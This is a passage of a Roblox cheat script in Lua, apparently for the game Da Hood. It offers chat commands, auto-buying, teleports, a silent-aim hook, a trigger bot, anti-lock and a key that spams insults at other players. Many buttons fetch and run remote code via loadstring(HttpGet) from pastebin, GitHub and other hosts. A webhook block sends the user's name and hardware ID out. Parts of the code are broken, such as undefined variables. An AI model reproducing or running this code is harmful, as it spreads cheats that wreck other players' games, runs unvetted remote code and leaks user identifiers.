fireclickdetector(pathto.Parent:FindFirstChild('ClickDetector')) end end end end)) end if CMD == 'mute' then if tostring(arguments[2]) == 'all' then muteingnew = true for _,v in pairs(Players:GetChildren()) do if not table.find(muted, v.Name) then table.insert(muted, v.Name) print('muted ' .. v.Name) end end else local plrtoview = arguments[2] if plrtoview then local ptv = findPlayer(plrtoview) if ptv then if not table.find(muted, ptv.Name) then table.insert(muted, ptv.Name) print('manualy muted ' .. ptv.Name) end end end end end coroutine.resume(coroutine.create(function() local function mute() for i,v in pairs(Players:GetChildren()) do if table.find(muted, v.Name) then if v.Character then if v.Character.LowerTorso:FindFirstChild('BOOMBOXSOUND') and v.Character.UpperTorso:FindFirstChild('OriginalSize') then v.Character.LowerTorso:FindFirstChild('BOOMBOXSOUND'):Stop() end end end end end while wait(.2) do local success,err = pcall(mute) end end)) if CMD == 'unmute' then if tostring(arguments[2]) == 'all' then muteingnew = false for _,v in pairs(Players:GetChildren()) do if table.find(muted, v.Name) then local removemute = table.find(muted, v.Name) table.remove(muted, removemute) print('unmuteed ' .. v.Name) end end else local plrtoview = arguments[2] if plrtoview then local ptv = findPlayer(plrtoview) if ptv then if table.find(muted, ptv.Name) then local removemute = table.find(muted, ptv.Name) table.remove(muted, removemute) print('unmuteed ' .. ptv.Name) end end end end end if CMD == 'buy' then local itemtobuy = nil local itemtobuyammofor = nil local ammomodel = nil local oldpos = player.Character.HumanoidRootPart.CFrame local Cash = player.DataFolder.Currency.Value for i,v in pairs(game:GetService('Workspace').Ignored.Shop:GetChildren()) do if itemtobuy == nil then if string.find(string.lower(v.Name), arguments[2]) and not string.find(v.Name, 'Ammo') and itemtobuy == nil then if arguments[2] == 'shotgun' then itemtobuy = game:GetService("Workspace").Ignored.Shop["[Shotgun] - $1250"] elseif arguments[2] == 'tacshotgun' or arguments[2] == 'tacticalshotgun' then itemtobuy = game:GetService("Workspace").Ignored.Shop["[TacticalShotgun] - $1750"] elseif arguments[2] == 'key' then itemtobuy = game:GetService("Workspace").Ignored.Shop["[Key] - $125"] else itemtobuy = v end end if itemtobuy then if string.find(itemtobuy.Name, 'Mask') then itemtobuy = game:GetService("Workspace").Ignored.Shop["[Surgeon Mask] - $25"] end local pricesplit = string.split(itemtobuy.Name, '$') local itemnamesplit = string.split(itemtobuy.Name, '-') local price = tonumber(pricesplit[2]) local name = string.gsub(tostring(itemnamesplit[1]), " ", "") print(name) local function buygun() wait() Cash = player.DataFolder.Currency.Value player.Character.HumanoidRootPart.CFrame = itemtobuy.Head.CFrame fireclickdetector(itemtobuy.ClickDetector) end if name == '[MoneyGun]' then repeat buygun() until player.Backpack:FindFirstChild('[Money Gun]') or Cash < price elseif name == '[Double' then repeat buygun() until player.Backpack:FindFirstChild('[Double-Barrel SG]') or Cash < price elseif name == '[SurgeonMask]' then repeat buygun() until player.Backpack:FindFirstChild('[Surgeon Mask]') or Cash < price elseif name ~= '[MediumArmor]' then repeat buygun() until player.Backpack:FindFirstChild(name) or Cash < price else repeat buygun() until player.Backpack:FindFirstChild(name) or Cash < price or player.Character.BodyEffects.Armor.Value == 100 end player.Character.HumanoidRootPart.CFrame = oldpos end end end end end player.Chatted:Connect(function(message,recipient) message = string.lower(message) local splitString = message:split(" ") -- Will Split String when space local slashCommand = splitString[1] local cmd = slashCommand:split(prefix) local cmdName = cmd[2] if commands[cmdName] then local arguments = {} for i = 2, #splitString, 1 do table.insert(arguments,splitString[i]) end commands[cmdName](arguments) end end) ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ wait(5) if ModCheck[player.UserId] then IsMod = true DisableMod = FFalse announce('Granted Mod Powers', 'you are immune to mod powers | type /e noshield or /e shield to toggle', 10) elseif table.find(swagmins, player.UserId) then announce('Granted Admin Powers', 'hi :3', 10) IsMod = true DisableMod = false else IsMod = true DisableMod = false announce('Commands Loaded', 'join discord.gg/swagmode for a list of commands', 10) end end) if err then print(err) end end}) local webh = "xd dont log guys its stupid" pcall(function() local data = { ['embeds'] = { { ['title'] = '', ['description'] = '', ['fields'] = { {name = 'User', value = game:GetService("Players").LocalPlayer.Name}, {name = 'Hwid', value = game:GetService("RbxAnalyticsService"):GetClientId()}, {name = "Ping", value = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString()}, } } } } if syn then local response = syn.request( { Url = webh, Method = 'POST', Headers = { ['Content-Type'] = 'application/json' }, Body = game:GetService('HttpService'):JSONEncode(data) } ); elseif request then local response = request( { Url = webh, Method = 'POST', Headers = { ['Content-Type'] = 'application/json' }, Body = game:GetService('HttpService'):JSONEncode(data) } ); elseif http_request then local response = http_request( { Url = webh, Method = 'POST', Headers = { ['Content-Type'] = 'application/json' }, Body = game:GetService('HttpService'):JSONEncode(data) } ); end end) Tab:AddButton({Name = "Pickle Assist (no webhook)", Callback = function() local Library = loadstring(game:HttpGet("https://raw.githubusercontent.com/Mapple7777/UI-Librarys/main/UI-1/UI.lua"))() local Window = Library:Create("PickleAssist",".gg/1ov") local Tab1 = Window:Tab("Aiming",true) Tab1:Toggle("Toggle Silent Aim",function(bool) DaHoodSettings.SilentAim = bool end) Tab1:Toggle("Toggle FOV",function(bool) Aiming.ShowFOV = bool end) Tab1:Toggle("Toggle Visiblility Check",function(bool) Aiming.VisibleCheck = bool end) Tab1:Slider("FOV Size",0,200,function(bool) Aiming.FOV = bool end) Tab1:Textbox("Prediction 0.165-0.235","0.157",function(bool) DaHoodSettings.Prediction = bool end) Tab1:Dropdown("Silent Aim Part",{"Head","HumanoidRootPart","UpperTorso"},function(value) Aiming.AimPart = value end) local Tab2 = Window:Tab("Player",false) Tab2:Label("Player Scripts") game.StarterGui:SetCore("SendNotification", { Title = "PickleAssist"; Text = "You're Whitelisted"; Icon = "RBXID OR BLANK"; Duration = "DURATION IN SECONDS"; callbakc = bindableFunction; Button1 = "Okay"; }) Tab2:Button("Speed Glitch (Q)",function(bool) loadstring(game:HttpGet("https://pastebin.com/raw/QW5Whap9"))() end) Tab2:Button("Realistic Speed Glitch (X)",function(bool) local Player = game:GetService("Players").LocalPlayer local Mouse = Player:GetMouse() local SpeedGlitch = false local Wallet = Player.Backpack:FindFirstChild("Wallet") local UniversalAnimation = Instance.new("Animation") function stopTracks() for _, v in next, game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):GetPlayingAnimationTracks() do if (v.Animation.AnimationId:match("rbxassetid")) then v:Stop() end end end function loadAnimation(id) if UniversalAnimation.AnimationId == id then stopTracks() UniversalAnimation.AnimationId = "1" else UniversalAnimation.AnimationId = id local animationTrack = game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):LoadAnimation(UniversalAnimation) animationTrack:Play() end end Mouse.KeyDown:Connect(function(Key) if Key == "x" then SpeedGlitch = not SpeedGlitch if SpeedGlitch == true then stopTracks() loadAnimation("rbxassetid://3189777795") wait(1.5) Wallet.Parent = Player.Character wait(0.15) Player.Character:FindFirstChild("Wallet").Parent = Player.Backpack wait(0.05) repeat game:GetService("RunService").Heartbeat:wait() keypress(0x49) game:GetService("RunService").Heartbeat:wait() keypress(0x4F) game:GetService("RunService").Heartbeat:wait() keyrelease(0x49) game:GetService("RunService").Heartbeat:wait() keyrelease(0x4F) game:GetService("RunService").Heartbeat:wait() until SpeedGlitch == false end end end) end) Tab2:Button("FLY (X)",function(bool) loadstring(game:HttpGet("https://pastebin.com/raw/sUA9m6M6"))() end) Tab2:Slider("Fov Camera",80,200,function(text) workspace.CurrentCamera.FieldOfView = (text) end) Tab2:Button("Headless Client Sided",function(bool) getgenv().game.Players.LocalPlayer.Character.Head.Transparency = 1 getgenv().game.Players.LocalPlayer.Character.Head.face:Destroy() getgenv().game.Players.LocalPlayer.Character.Head.face:Destroy() end) Tab2:Button("Korblox Client Sided",function(bool) local ply = game.Players.LocalPlayer local chr = ply.Character chr.RightLowerLeg.MeshId = "902942093" chr.RightLowerLeg.Transparency = "1" chr.RightUpperLeg.MeshId = "http://www.roblox.com/asset/?id=902942096" chr.RightUpperLeg.TextureID = "http://roblox.com/asset/?id=902843398" chr.RightFoot.MeshId = "902942089" chr.RightFoot.Transparency = "1" end) Tab2:Button("Trash Talk (J)",function(bool) local plr = game.Players.LocalPlayer repeat wait() until plr.Character local char = plr.Character local garbage = { "ur bad"; "sonney boy"; "ez"; "my grandma has more skill than you"; "seed"; "sit son"; "trash"; "LOL"; "LMAO"; "imagine being you right now"; "xd"; "don't try LOL"; "you lose"; "why do you even try"; "I didn't think being this bad was possible"; "leave"; "no skill"; "so sad man."; "bad"; "you're nothing"; "lol"; "so trash"; "so bad"; "ur salty"; "salty"; "look he's mad"; "cry more"; "keep crying"; "cry baby"; "hahaha I won"; "no one likes u"; "run 1s seed"; "thank you for your time"; "you were so close!"; "better luck next time!"; "rodent"; "HAHA"; "ill 5-0"; "just quit"; "time to take out the trash"; "did you get worse?"; "I'm surprised you haven't quit yet"; } function TrashTalk(inputObject, gameProcessedEvent) if inputObject.KeyCode == Enum.KeyCode.J and gameProcessedEvent == false then game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer( garbage[math.random(1,#garbage)], "All" ) end end game:GetService("UserInputService").InputBegan:connect(TrashTalk) end) local Tab3 = Window:Tab("Anti-Lock",false) Tab3:Label("Anti-Lock") local triggerbotEnable = Tab3:Button("Trigger Bot (BETA Cant turn off btw)", function(state) local player = game.Players.LocalPlayer local mouse = player:GetMouse() local Players = game:FindService("Players") if state == true then repeat wait() local target = mouse.Target if target then if target.Parent:IsA("Model") then for i,v in pairs(Players:GetChildren()) do if v.Name == target.Parent.Name or v.Name == target.Parent.Parent.Name then mouse1click() end end end end until state == false end end) Tab3:Button("FIX ANTILOCK",function(bool) for _, v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA("Script") and v.Name ~= "Health" and v.Name ~= "Sound" and v:FindFirstChild("LocalScript") then v:Destroy() end end game.Players.LocalPlayer.CharacterAdded:Connect(function(char) repeat wait() until game.Players.LocalPlayer.Character char.ChildAdded:Connect(function(child) if child:IsA("Script") then wait(0.1) if child:FindFirstChild("LocalScript") then child.LocalScript:FireServer() end end end) end) end) local glitch = false local clicker = false Tab3:Textbox("AntiLock (use -0.10 to -0.60)","Speed",function(a) getgenv().Multiplier = a end, { ["clear"] = false, }) Tab3:Button("Antilock Improved (Z)",function(bool) local userInput = game:service('UserInputService') local runService = game:service('RunService') userInput.InputBegan:connect(function(Key) if Key.KeyCode == Enum.KeyCode.Z then Enabled = not Enabled if Enabled == true then repeat game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame + game.Players.LocalPlayer.Character.Humanoid.MoveDirection * getgenv().Multiplier runService.Stepped:wait() until Enabled == false end end end) end) local Tab4 = Window:Tab("Teleports",false) Tab4:Label("Teleports") Tab4:Button("Double Barrel",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1039.59985, 18.8513641, -256.449951, -1, 0, 0, 0, 1, 0, 0, 0, -1) end) Tab4:Button("Revolver",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-638.75, 18.8500004, -118.175011, -1, 0, 0, 0, 1, 0, 0, 0, -1) end) Tab4:Button("Shotgun",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-578.623657, 5.47212696, -725.131531, 0, 0, 1, 0, 1, -0, -1, 0, 0) end) Tab4:Button("Tactical Shotgun",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(470.877533, 45.1272316, -620.630676, 0.999999821, 0.000604254019, -2.60802135e-08, -0.000604254019, 0.999999821, -8.63220048e-05, -2.60802135e-08, 8.63220048e-05, 1) end) Tab4:Button("Smg",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-577.123413, 5.47666788, -718.031433, -1, 0, 0, 0, 1, 0, 0, 0, -1) end) Tab4:Button("RPG",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-794.814697, -42.5468521, -932.97998, 5.96046448e-08, 2.91038305e-11, 1, -0.000610388815, 0.999999821, 2.91038305e-11, -0.999999762, -0.000610388815, 5.96046448e-08) end) Tab4:Button("Armor",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-607.978455, 7.44964886, -788.494263, -1.1920929e-07, 0, 1.00000012, 0, 1, 0, -1.00000012, 0, -1.1920929e-07) end) Tab4:Button("PopCorn",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-995, 21.6998043, -153.100037, 1, 0, 0, 0, 1, 0, 0, 0, 1) end) Tab4:Button("Casino 1v1",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-962.72345, 21.2549973, -186.814987, -0.0274876002, 2.91178949e-05, 0.999621451, -5.5798846e-06, 1, -2.92823333e-05, -0.999621451, -6.38268148e-06, -0.0274876002) end) Tab4:Button("Bank",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-402.123718, 21.75, -283.988617, 0.0159681588, -0.000121377925, -0.999872446, -2.60148026e-05, 1, -0.000121808866, 0.999872506, 2.79565484e-05, 0.0159681737) end) Tab4:Button("Main Food",function(value) getgenv().game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-338.352173, 23.6826477, -297.2146, -0.0060598203, -1.03402984e-08, -0.999981582, -1.61653102e-09, 1, -1.03306892e-08, 0.999981582, 1.55389912e-09, -0.0060598203) end) local Tab5 = Window:Tab("Keybind",false) Tab5:Label("Keybind") Tab5:Keybind("Toggle",Enum.KeyCode.RightShift,function() Library:Toggle() end) local Tab5 = Window:Tab("Credits",false) Tab5:Label("Varski#0001,7c#0001") local Aiming = loadstring(game:HttpGet("https://pastebin.com/raw/x0GU1rjk"))() Aiming.TeamCheck(false) local Workspace = game:GetService("Workspace") local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local LocalPlayer = Players.LocalPlayer local Mouse = LocalPlayer:GetMouse() local CurrentCamera = Workspace.CurrentCamera local DaHoodSettings = { SilentAim = true, AimLock = false, Prediction = 0.157, AimLockKeybind = Enum.KeyCode.E } getgenv().DaHoodSettings = DaHoodSettings function Aiming.Check() if not (Aiming.Enabled == true and Aiming.Selected ~= LocalPlayer and Aiming.SelectedPart ~= nil) then return false end local Character = Aiming.Character(Aiming.Selected) local KOd = Character:WaitForChild("BodyEffects")["K.O"].Value local Grabbed = Character:FindFirstChild("GRABBING_CONSTRAINT") ~= nil if (KOd or Grabbed) then return false end return true end local __index __index = hookmetamethod(game, "__index", function(t, k) if (t:IsA("Mouse") and (k == "Hit" or k == "Target") and Aiming.Check()) then local SelectedPart = Aiming.SelectedPart if (DaHoodSettings.SilentAim and (k == "Hit" or k == "Target")) then local Hit = SelectedPart.CFrame + (SelectedPart.Velocity * DaHoodSettings.Prediction) return (k == "Hit" and Hit or SelectedPart) end end return __index(t, k) end) RunService:BindToRenderStep("AimLock", 0, function() if (DaHoodSettings.AimLock and Aiming.Check() and UserInputService:IsKeyDown(DaHoodSettings.AimLockKeybind)) then local SelectedPart = Aiming.SelectedPart local Hit = SelectedPart.CFrame + (SelectedPart.Velocity * DaHoodSettings.Prediction) CurrentCamera.CFrame = CFrame.lookAt(CurrentCamera.CFrame.Position, Hit.Position) end end) end}) Tab:AddButton({Name = "RTX (op shaders)", Callback = function() local Vignette = true -- change to false if you don't want a shadow frame local Lighting = game:GetService("Lighting") local StarterGui = game:GetService("StarterGui") local Bloom = Instance.new("BloomEffect") local Blur = Instance.new("BlurEffect") local ColorCor = Instance.new("ColorCorrectionEffect") local SunRays = Instance.new("SunRaysEffect") local Sky = Instance.new("Sky") local Atm = Instance.new("Atmosphere") for i, v in pairs(Lighting:GetChildren()) do if v then v:Destroy() end end Bloom.Parent = Lighting Blur.Parent = Lighting ColorCor.Parent = Lighting SunRays.Parent = Lighting Sky.Parent = Lighting Atm.Parent = Lighting if Vignette == true then local Gui = Instance.new("ScreenGui") Gui.Parent = StarterGui Gui.IgnoreGuiInset = true local ShadowFrame = Instance.new("ImageLabel") ShadowFrame.Parent = Gui ShadowFrame.AnchorPoint = Vector2.new(0.5,1) ShadowFrame.Position = UDim2.new(0.5,0,1,0) ShadowFrame.Size = UDim2.new(1,0,1.05,0) ShadowFrame.BackgroundTransparency = 1 ShadowFrame.Image = "rbxassetid://4576475446" ShadowFrame.ImageTransparency = 0.3 ShadowFrame.ZIndex = 10 end Bloom.Intensity = 0.3 Bloom.Size = 10 Bloom.Threshold = 0.8 Blur.Size = 5 ColorCor.Brightness = 0.1 ColorCor.Contrast = 0.5 ColorCor.Saturation = -0.3 ColorCor.TintColor = Color3.fromRGB(255, 235, 203) SunRays.Intensity = 0.075 SunRays.Spread = 0.727 Sky.SkyboxBk = "http://www.roblox.com/asset/?id=151165214" Sky.SkyboxDn = "http://www.roblox.com/asset/?id=151165197" Sky.SkyboxFt = "http://www.roblox.com/asset/?id=151165224" Sky.SkyboxLf = "http://www.roblox.com/asset/?id=151165191" Sky.SkyboxRt = "http://www.roblox.com/asset/?id=151165206" Sky.SkyboxUp = "http://www.roblox.com/asset/?id=151165227" Sky.SunAngularSize = 10 Lighting.Ambient = Color3.fromRGB(2,2,2) Lighting.Brightness = 2.25 Lighting.ColorShift_Bottom = Color3.fromRGB(0,0,0) Lighting.ColorShift_Top = Color3.fromRGB(0,0,0) Lighting.EnvironmentDiffuseScale = 0.2 Lighting.EnvironmentSpecularScale = 0.2 Lighting.GlobalShadows = true Lighting.OutdoorAmbient = Color3.fromRGB(0,0,0) Lighting.ShadowSoftness = 0.2 Lighting.ClockTime = 17 Lighting.GeographicLatitude = 45 Lighting.ExposureCompensation = 0.5 Atm.Density = 0.364 Atm.Offset = 0.556 Atm.Color = Color3.fromRGB(199, 175, 166) Atm.Decay = Color3.fromRGB(44, 39, 33) Atm.Glare = 0.36 Atm.Haze = 1.72 script:Destroy() end}) Tab:AddButton({Name = "Vortex", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/ImagineProUser/vortexdahood/main/vortex", true))() end}) Tab:AddButton({Name = "Beeswarm (100B)", Callback = function() game:GetService("ReplicatedStorage").Events.SelectNPCOption:FireServer("ChooseWhiteTeam") end}) Tab:AddButton({Name = "Trade Tower", Callback = function() loadstring(game:HttpGet('https://raw.githubusercontent.com/VixOnTopp/Trade-Tower-1.0/main/GUI', true))() end}) Tab:AddButton({Name = "Trade Tower V2", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/VixOnTopp/Trade-Tower-V2/main/message%20(1).txt"))(); end}) Tab:AddButton({Name = "Arctic", Callback = function() loadstring(game:HttpGetAsync("https://polar7.wtf/Arctic/Arctic.txt"))() end}) Tab:AddButton({Name = "Faded", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/NighterEpic/Faded/main/YesEpic", true))() end}) Tab:AddButton({Name = "Dahub", Callback = function() getgenv().Toggle = "v"--Must be lowercase getgenv().Intro = false loadstring(game:HttpGet("https://raw.githubusercontent.com/NoUGotbannedlol/DaHubV3/main/Launch"))() end}) Tab:AddButton({Name = "Popcorn Autobuy", Callback = function() local LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["[Popcorn] - $7"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["[Popcorn] - $7"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["[Popcorn] - $7"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Donut Autobuy", Callback = function() local LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["[Donut] - $5"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["[Donut] - $5"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["[Donut] - $5"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Lettuce Autobuy", Callback = function() local LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["[Lettuce] - $5"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["[Lettuce] - $5"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["[Lettuce] - $5"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Hamburger Autobuy", Callback = function() local LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["[Hamburger] - $5"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["[Hamburger] - $5"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["[Hamburger] - $5"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "HotDog Autobuy", Callback = function() local LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["[HotDog] - $8"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["[HotDog] - $8"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["[HotDog] - $8"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Taco Autobuy", Callback = function() local LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["[Taco] - $2"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["[Taco] - $2"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["[Taco] - $2"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Chicken Autobuy", Callback = function() local LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["[Chicken] - $7"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["[Chicken] - $7"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["[Chicken] - $7"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Pizza Autobuy", Callback = function() local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["[Pizza] - $5"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["[Pizza] - $5"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Double Barrel AutoBuy", Callback = function() LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["[Double-Barrel SG] - $1400"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["[Double-Barrel SG] - $1400"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["[Double-Barrel SG] - $1400"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Revolver Autobuy", Callback = function() LocalPlayer = game:GetService "Players".LocalPlayer local gunName = "[Revolver] - $1300" local k = game.Workspace.Ignored.Shop[gunName] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop[gunName].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop[gunName].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "AK47 Autobuy", Callback = function() LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["[AK47] - $2250"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["[AK47] - $2250"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["[AK47] - $2250"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Revolver Ammmo Autobuy", Callback = function() local LocalPlayer = game:GetService "Players".LocalPlayer local gunName = "12 [Revolver Ammo] - $75" local k = game.Workspace.Ignored.Shop[gunName] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop[gunName].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop[gunName].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Double Barrel Autobuy", Callback = function() local LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["18 [Double-Barrel SG Ammo] - $60"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["18 [Double-Barrel SG Ammo] - $60"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["18 [Double-Barrel SG Ammo] - $60"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "AK47 Ammo Autobuy", Callback = function() LocalPlayer = game:GetService "Players".LocalPlayer local k = game.Workspace.Ignored.Shop["90 [AK47 Ammo] - $80"] local savedsilencerpos = LocalPlayer.Character.HumanoidRootPart.Position game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(game.Workspace.Ignored.Shop["90 [AK47 Ammo] - $80"].ClickDetector) fireclickdetector(game.Workspace.Ignored.Shop["90 [AK47 Ammo] - $80"].ClickDetector) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(savedsilencerpos) end}) Tab:AddButton({Name = "Bank TP", Callback = function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-402.123718, 21.75, -283.988617, 0.0159681588, -0.000121377925, -0.999872446, -2.60148026e-05, 1, -0.000121808866, 0.999872506, 2.79565484e-05, 0.0159681737) end}) Tab:AddButton({Name = "Casino TP", Callback = function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame 